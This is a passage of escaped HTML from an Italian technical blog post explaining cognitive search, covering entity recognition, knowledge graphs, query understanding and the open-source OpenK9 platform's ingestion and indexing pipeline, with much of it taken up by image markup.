-30%200-33%200-34%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ac461e4284d877cec31cf280dffe35b9/c85cb/ner.webp 300w,/static/ac461e4284d877cec31cf280dffe35b9/e88ff/ner.webp 600w,/static/ac461e4284d877cec31cf280dffe35b9/0abb1/ner.webp 613w&quot; sizes=&quot;(max-width: 613px) 100vw, 613px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ac461e4284d877cec31cf280dffe35b9/5a46d/ner.png 300w,/static/ac461e4284d877cec31cf280dffe35b9/0a47e/ner.png 600w,/static/ac461e4284d877cec31cf280dffe35b9/5754a/ner.png 613w&quot; sizes=&quot;(max-width: 613px) 100vw, 613px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Esempio di NER&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ac461e4284d877cec31cf280dffe35b9/5754a/ner.png&quot; title=&quot;Figura 3 - Esempio di NER&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Esempio di NER&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Relationship_extraction&quot;&gt;Estrazioni di relazioni&lt;/a&gt;&lt;/strong&gt;: estrazioni di relazioni tra entità.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://techblog.smc.it/it/2020-12-21/nlp-text-clf&quot;&gt;Classificazione testuale&lt;/a&gt;&lt;/strong&gt;: categorizzare in maniera intelligente il testo e sfruttare queste informazioni per ricerca contenuti per categoria.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://techblog.smc.it/it/2021-10-22/topic-modelling&quot;&gt;Topic Modelling&lt;/a&gt;&lt;/strong&gt;: individuare i topic principali di un contenuto e sfruttare queste informazioni per ricerca contenuti che trattano un certo topic.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Qualora i dati da ingestionare (Data Ingestion) fossero invece di altra natura si possono utilizzare tecniche di estrazione dell&amp;#x27;informazione adatte al caso d&amp;#x27;uso.
Per sorgenti con dati multimediali quali audio, immagini piuttosto che video si possono utilizzare strumenti che implementano tecniche di Machine
Learning quali &lt;a href=&quot;https://it.wikipedia.org/wiki/Riconoscimento_vocale&quot;&gt;Speech Recognition&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Object_detection&quot;&gt;Object Detection&lt;/a&gt;,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Facial_recognition_system&quot;&gt;Face Recognition&lt;/a&gt;, piuttosto che &lt;a href=&quot;https://en.wikipedia.org/wiki/Activity_recognition&quot;&gt;Activity Recognition&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Tutte le informazioni estratte durante la fase di arricchimento inoltre concorrono al popolamento di un &lt;strong&gt;grafo delle relazioni&lt;/strong&gt; che viene utilizzato dal
sistema per realizzare ricerche, analitiche e azioni che aumentano le capacità del motore.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/4719e/grafo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:60%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;240\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20240\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M219%2061l-1%2010c-1%201%203%201%209%201%205%200%209%200%208-1l-1-10v-9h-15v9m2%201l1%209%201-4c0-2%200-2%204-2%203%200%203%200%203%202l1%204%201-9v-9h-11v9M31%2059c0%202%200%203%205%203l6-1h8c1%202%2016%201%2016-1l-14-1-15-1h-4c-1-2-2-1-2%201m10%2015c-3%201-4%202-1%204v10c-3%203-2%203%208%203l10-1-1-1-1-5%201-6c6-4-9-7-16-4m95%202c0%202-1%203-3%203-4%201-4%201-4%206v5h26V80h-4c-3-1-4-2-4-4s0-2-5-2c-6%200-6%200-6%202m29%2064c-8%204-11%2013-9%2020%206%2020%2035%2016%2034-5%200-13-14-21-25-15m3%200c-7%203-11%208-11%2016%200%2020%2030%2021%2032%201%201-12-11-21-21-17m83%2010v10h21v-21h-21v11m3-5c0%204%200%203%209%207l3%202c1%203%202%202%202-2s0-5-3-5l-2-1c0-2%200-2%202-2l3-1-7-1h-7v3m72%2012h-2c-3%200-5%201-3%203h20l5%201c4%200%204%200%204-3%200-2%200-2-2-1h-3l-2%201h-1l-3-1h-13m-214%2022c-4%202-8%209-7%2014%203%2014%2019%2016%2026%203%205-10-8-23-19-17m0%202c-11%205-6%2022%206%2022%207%200%2012-5%2012-12%200-10-10-15-18-10m116%202c-9%205-10%2015-2%2022%209%208%2023%200%2022-12-2-10-12-15-20-10m1%200c-14%207-5%2028%209%2023%2011-3%2011-18%201-22-5-2-6-2-10-1m-1%204c-2%201-2%202-2%209l1%207h16v-7c0-7%200-7-2-8l-2-1h-11\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/c85cb/grafo.webp 300w,/static/407ad251ab46d2ab37511bd25e791b0e/e88ff/grafo.webp 600w,/static/407ad251ab46d2ab37511bd25e791b0e/92f8c/grafo.webp 1200w,/static/407ad251ab46d2ab37511bd25e791b0e/f37ae/grafo.webp 1330w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/5a46d/grafo.png 300w,/static/407ad251ab46d2ab37511bd25e791b0e/0a47e/grafo.png 600w,/static/407ad251ab46d2ab37511bd25e791b0e/c1b63/grafo.png 1200w,/static/407ad251ab46d2ab37511bd25e791b0e/4719e/grafo.png 1330w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Knowledge Graph&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/c1b63/grafo.png&quot; title=&quot;Figura 4 - Knowledge Graph&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Knowledge Graph&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;tecniche-per-il-supporto-allutente-per-la-ricerca&quot;&gt;Tecniche per il supporto all&amp;#x27;utente per la ricerca&lt;/h2&gt;&lt;p&gt;Le informazioni derivanti dall&amp;#x27;arricchimento rappresentano una fonte di dati estremamente rilevante ai fini della ricerca.
Un sistema di ricerca cognitiva sfrutta queste informazioni per:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;fornire suggerimenti all&amp;#x27;utente durante la scrittura della query;&lt;/li&gt;&lt;li&gt;formulare query sintatticamente corrette (autocorrezione);&lt;/li&gt;&lt;li&gt;effettuare attività di comprensione della query, con l&amp;#x27;obiettivo di individurare gli intent degli utenti. Questa attività contribuisce a costruire
una rappresentazione della query ottimizzata per fornire risultati più precisi.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I primi due punti sono soddisfatti grazie all&amp;#x27;uso delle moderne tecniche di NLP per la realizzazione di attività di
&lt;a href=&quot;https://it.wikipedia.org/wiki/Autocompletamento&quot;&gt;auto completamento&lt;/a&gt;
e &lt;a href=&quot;https://en.wikipedia.org/wiki/Autocorrection&quot;&gt;autocorrezione&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;A concorrere alla realizzazione dell&amp;#x27;attività di comprensione, ci sono invece, diverse funzionalità, in ogni caso sempre legate alle moderne tecniche di
Natural Language Processing.&lt;/p&gt;&lt;p&gt;Uno schema di massima sul flusso realizzato dall&amp;#x27;attività di comprensione della query è il seguente.&lt;/p&gt;&lt;p&gt;Tutte le attività sono svolte attraverso strumenti intelligenti che aumentano il significato della query con opportune indicazioni.
Vediamo l&amp;#x27;esempio di query &lt;em&gt;documenti pdf di Mike Brown di Acme Inc&lt;/em&gt;.
Lo strumento di comprensione della query svolge quindi:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3b394fa598802becc1984f0bdd72020b/799f3/query-understanding.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;223\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20223\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M43%2019v4H27C6%2023%207%2022%207%2035l1%2012%2018%201h17v12H27c-14%200-17%200-18%202-2%202-3%2020-1%2022l18%201h17v11H26L8%2097l-1%2011c0%2013%200%2013%2020%2013h16v10H27c-20%200-20%200-20%2013l1%2011%2018%201h17v10H26l-18%201-1%2011c0%2013-1%2013%2020%2013h16v3c0%203%200%203-4%203l-4%201c0%201%2015%2016%2017%2016l16-16-4-1c-4%200-4%200-4-3v-3h17c22%200%2021%201%2021-12l-1-12-19-1H60v-10h18l19-1%201-12c0-13%201-12-21-12H60v-10h18c15%200%2018-1%2019-2V97l-19-1H60V85h18l19-1V61l-19-1H60V48h18l19-1V24l-19-1H60v-9H43v5m-16%206L9%2026c-2%203-1%2018%201%2019%202%202%2084%203%2086%201V26c-2-1-50-2-69-1m0%2037L9%2063v19c1%202%203%202%2043%202l44-1V63c-2-1-50-2-69-1M9%2099v19c2%202%2087%201%2087-1%202-3%201-18%200-19l-44-1c-40%200-42%200-43%202m0%2035v19c1%202%203%202%2043%202l44-1c1-1%202-16%200-19%200-2-85-3-87-1m0%2035c-2%203-1%2018%200%2019l45%201h43v-10l-1-11-44-1c-40%200-42%200-43%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3b394fa598802becc1984f0bdd72020b/c85cb/query-understanding.webp 300w,/static/3b394fa598802becc1984f0bdd72020b/e88ff/query-understanding.webp 600w,/static/3b394fa598802becc1984f0bdd72020b/92f8c/query-understanding.webp 1200w,/static/3b394fa598802becc1984f0bdd72020b/ee7fd/query-understanding.webp 1642w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3b394fa598802becc1984f0bdd72020b/5a46d/query-understanding.png 300w,/static/3b394fa598802becc1984f0bdd72020b/0a47e/query-understanding.png 600w,/static/3b394fa598802becc1984f0bdd72020b/c1b63/query-understanding.png 1200w,/static/3b394fa598802becc1984f0bdd72020b/799f3/query-understanding.png 1642w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Query Understanding&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3b394fa598802becc1984f0bdd72020b/c1b63/query-understanding.png&quot; title=&quot;Figura 5 - Query Understanding&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Query Understanding&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;ul&gt;&lt;li&gt;opportune attività di cleaning tramite ad esempio tokenizzazione o eliminazione delle stopword;&lt;/li&gt;&lt;li&gt;individua frasi dal significato rilevante all&amp;#x27;interno della query.&lt;/li&gt;&lt;li&gt;svolge poi un&amp;#x27;attività di tagging dei concetti, individuando ad esempio che &lt;em&gt;Mike Brown&lt;/em&gt; è una persona, &lt;em&gt;pdf&lt;/em&gt; uno specifico tipo di documento, piuttosto che
&lt;em&gt;Acme inc&lt;/em&gt; una certa organizzazione;&lt;/li&gt;&lt;li&gt;espande il significato della query, attraverso l&amp;#x27;utilizzo della base di conoscenza, rilevando che &lt;em&gt;Mike Brown di Acme Inc&lt;/em&gt; è uno sviluppatore.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Tutte queste informazioni vengono inserite nella descrizione della query fatta al sistema di ricerca, andando ad ottenere così risultati più pertinenti
possbili. In questo caso dando maggiore rilevanza ai documenti di tipo pdf con lo sviluppatore Mike Brown di Acme Inc.&lt;/p&gt;&lt;h1 id=&quot;openk9&quot;&gt;Openk9&lt;/h1&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:352px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2f3af17c9f915d042f20528698e4ad05/e5a29/openk9.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:97.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;389\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20389\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M183%201c-36%208-52%2016-74%2036-45%2044-52%20112-16%20164%2011%2016%2014%2018%2020%209l10-11c11-11%2014-20%2017-43l2-16%204%201c9%205%2028%2010%2034%209%2015-3%2017-25%205-69-2-9-2-9%209-6%2015%205%2020%208%2024%2014%205%207%206%207%2027%209l21%203c7%203%201%2025-11%2037-9%209-11%209-29%2010s-19%201-24%207c-3%204-4%2012-2%2017l3%2011%2012%2044c9%2029%208%2028%2018%2026%2019-4%2043-18%2060-37%2033-35%2044-81%2029-126A131%20131%200%2000183%201m5%2011a121%20121%200%2000-93%2062c-18%2034-18%2074-1%20108%205%209%2011%2018%2013%2018%201%200%2011-11%2014-17%205-8%208-21%2010-41v-9l-5-6c-6-6-6-8-6-17%202-21%2020-44%2041-50l8-2%2016%204c26%206%2038%2012%2044%2022%200%201%204%202%2020%203%2025%203%2030%206%2031%2017%201%2019-13%2043-30%2051-6%203-7%203-22%204-17%201-18%201-18%206l8%2031a1893%201893%200%200114%2045c2%202%2028-10%2037-18a117%20117%200%200026-162%20120%20120%200%2000-107-49m-30%2061c-16%208-32%2035-26%2044s34%2023%2044%2022c5-1%206-4%206-15-1-9-6-37-10-48-2-7-5-8-14-3m45%2020c-5%203-2%2010%203%2010%206%200%208-6%203-10-3-2-3-2-6%200m166%20200c-15%202-23%2011-23%2025-1%2013%207%2021%2020%2023l6%201-8%2010-8%2012h20c3-3%2020-29%2021-33l3-5v-3c0-11%200-13-3-17-4-10-16-15-28-13m-344%201c-10%204-16%209-21%2018-4%209-4%2026%201%2035%204%208%2010%2014%2019%2017%208%203%2023%203%2031-1%2028-14%2026-59-3-68-8-2-20-3-27-1m250%201v36l1%2034%208-1h8v-15l1-15%2023%2028c2%202%2022%203%2023%201l-15-18-15-18%209-10%2020-22-10-1c-11%200-11%200-13%203l-12%2014-10%2011-1-14v-13l-8-1-9%201m-247%208c-17%207-22%2033-9%2046%207%208%2021%2010%2031%205%2019-9%2018-40%200-50-4-2-17-2-22-1m338%206c-8%206-3%2019%206%2019%2011%200%2015-11%208-18-3-4-10-4-14-1m-259%206l-7%204c-3%203-4%204-4%202%200-5-2-7-6-5h-3v73h10v-15l1-15%201%201c0%202%2010%206%2016%206%2024%200%2033-35%2012-48-6-4-15-5-20-3m58%201c-11%204-16%2012-16%2024%200%209%201%2013%206%2019%209%209%2029%209%2038%200l2-3-3-3-3-3-3%202c-8%208-22%206-26-3l-1-5%2019-1h19v-4c0-18-16-29-32-23m66-1c-2%201-6%203-7%205l-3%202v-3c0-3-1-4-7-3h-3v48h3c7%201%207%201%207-16%200-14%201-16%203-19%204-6%2012-8%2017-4%204%204%204%205%204%2024l1%2016%204-1h5v-19c0-22-1-22-7-27-5-4-12-5-17-3m-63%208c-4%201-9%207-9%2011v2h14c15%200%2015%200%2012-6-2-6-10-9-17-7m-65%203c-15%2011-4%2035%2014%2031%2013-3%2016-25%204-32-5-3-13-3-18%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2f3af17c9f915d042f20528698e4ad05/c85cb/openk9.webp 300w,/static/2f3af17c9f915d042f20528698e4ad05/edd59/openk9.webp 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2f3af17c9f915d042f20528698e4ad05/f93b5/openk9.jpg 300w,/static/2f3af17c9f915d042f20528698e4ad05/e5a29/openk9.jpg 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - OpenK9&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2f3af17c9f915d042f20528698e4ad05/e5a29/openk9.jpg&quot; title=&quot;Figura 6 - OpenK9&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - OpenK9&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/smclab/openk9&quot;&gt;OpenK9&lt;/a&gt; è una soluzione di ricerca cognitiva Open Source. Il codice è quindi disponibile su &lt;a href=&quot;https://github.com/smclab/openk9&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ab730a75dd2e6782c00737914f308739/1f6b7/github.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:57.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;231\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20231\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2022v10h401V12H0v10m258%2054v4h22v-7l-11-1h-11v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ab730a75dd2e6782c00737914f308739/c85cb/github.webp 300w,/static/ab730a75dd2e6782c00737914f308739/e88ff/github.webp 600w,/static/ab730a75dd2e6782c00737914f308739/92f8c/github.webp 1200w,/static/ab730a75dd2e6782c00737914f308739/62ed8/github.webp 1800w,/static/ab730a75dd2e6782c00737914f308739/ada04/github.webp 1909w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ab730a75dd2e6782c00737914f308739/5a46d/github.png 300w,/static/ab730a75dd2e6782c00737914f308739/0a47e/github.png 600w,/static/ab730a75dd2e6782c00737914f308739/c1b63/github.png 1200w,/static/ab730a75dd2e6782c00737914f308739/d61c2/github.png 1800w,/static/ab730a75dd2e6782c00737914f308739/1f6b7/github.png 1909w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - OpenK9 Github&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ab730a75dd2e6782c00737914f308739/c1b63/github.png&quot; title=&quot;Figura 7 - OpenK9 Github&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - OpenK9 Github&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Documentazione e informazioni approfondite sono presenti sul &lt;a href=&quot;https://www.openk9.io/&quot;&gt;sito di OpenK9&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Passiamo a vedere come OpenK9 realizza quelle che sono le caratteristiche principali di un sistema di ricerca cognitivo.&lt;/p&gt;&lt;h3 id=&quot;ingestion-dei-dati&quot;&gt;Ingestion dei dati&lt;/h3&gt;&lt;p&gt;Attraverso un&amp;#x27;apposita interfaccia di ingestion, i dati vengono fatti confluire all&amp;#x27;interno del sistema che poi, attraverso un meccanismo di comunicazione
asincrona basato su code, gestisce il flusso fino all&amp;#x27;indicizzazione.
La scelta di gestire la comunicazione in modo totalmente asincrono è dettata dall&amp;#x27;esigenza di gestire in maniera efficiente il &lt;em&gt;&lt;a href=&quot;https://medium.com/@jayphelps/backpressure-explained-the-flow-of-data-through-software-2350b3e77ce7&quot;&gt;back pressure&lt;/a&gt;&lt;/em&gt;
derivante da ingestion di dati massive.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 8 - Ingestion&quot; title=&quot;Figura 8 - Ingestion&quot; src=&quot;/linked/89ca409f43b6dd102863bb37a82b2609/ingestion1.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Ingestion&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 id=&quot;arricchimento-e-indicizzazione&quot;&gt;Arricchimento e indicizzazione&lt;/h3&gt;&lt;p&gt;Il dato successivamente viene fatto confluire attraverso una fase dov&amp;#x27;è soggetto ad un&amp;#x27;attività di arricchimento definita in base alle esigenze.
Ogni step della pipeline di arricchimento estrae e lega al dato nuova informazione in maniera strutturata.
Al termine della fase di arricchimento il dato arricchito viene indicizzato in &lt;a href=&quot;https://www.elastic.co/&quot;&gt;Elasticsearch&lt;/a&gt;
ed è a questo punto passibile di ricerca.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 9 - Arricchimento e indicizzazione&quot; title=&quot;Figura 9 - Arricchimento e indicizzazione&quot; src=&quot;/linked/3b5108157994628f1ec5f94420a6d021/ingestion2.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Arricchimento e indicizzazione&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;La ricerca può sfruttare sia i campi provenienti dal dato originale sia l&amp;#x27;informazione estratta e aggiunta durante la fase di arricchimento.&lt;/p&gt;&lt;p&gt;Ipotizziamo di avere a che fare con una sorgente dati di documenti aziendali derivanti da un portale.
OpenK9 si connette a questa sorgente dati e ingestiona al proprio interno tutta la base documentale in maniera periodica.&lt;/p&gt;&lt;p&gt;Ogni documento attraversa una pipeline di arricchimento composta da due fasi&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Riconoscimento di entità.&lt;/li&gt;&lt;li&gt;Classificazione rispetto alla tipologia del documento.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;La presenza di queste informazioni aggiuntive permette all&amp;#x27;utente di fare ricerca più precise e avanzate come la seguente.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/efeb1/search2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:40.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;163\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20163\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M24%2034c-2%203-1%2021%200%2022h36V33c-2-2-36-1-36%201m52-1l-1%2013%201%2011h71l74-1c1-2%202-21%200-23S78%2031%2076%2033m153%201c-2%202-1%2020%201%2022%201%202%20113%203%20116%201%202-1%202-2%202-11l-1-11c0-2-116-3-118-1M37%2036c-5%201-7%209-3%2013%203%202%207%203%2010%200%202-1%202-1%205%201l3%201-2-3c-2-1-3-2-3-4%200-5-5-9-10-8m-2%203c-4%204-1%2010%204%2010%204%200%206-2%206-6%200-5-6-8-10-4m58-1v8l1%207h6c5%200%206%200%207-2l-1-2%202-4c3-3%203-3%201-4l-2-3c0-2-13-1-14%200m148%206l-1%208c0%202%201%202%207%202l6-1V37h-12v7M95%2045v6h5l5-1-4-1-4-1%202-1c3%200%206-4%206-7%200-2%200-2-5-2h-5v7m147%200l1%207%201-2c0-2%201-2%203-2s3%200%203%202l1%202%201-7v-7h-10v7M23%2078l-1%2011v10h18v-8c0-11-2-14-11-14l-6%201m1%2010l1%209h6l7%201v-7c0-6%200-7-2-7l-2-2c0-3%200-3-5-3h-5v9m27-3c-2%205%202%2011%206%207h4c1%202%202%202%204%201%204-2%203-11-1-11l-4%202h-2c-2-3-6-2-7%201m18-2c-2%201-1%202%202%201l2%201-2%204c-4%203-4%205%200%205l5-1h10c2-2%206-3%207%200l1%201%203-1c2-2%206-2%206%200l2%201c1-1-3-12-5-12l-3%205-2%205-2-5c-2-6-4-6-7%200-1%206-2%206-2%200%200-4-1-4-3-4l-4%201h2c3%200%204%201%201%202-1%201-1%201%201%202v3h-7c-2%200-2%200%200-3%201-2%202-3%201-4-1-2-5-3-6-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
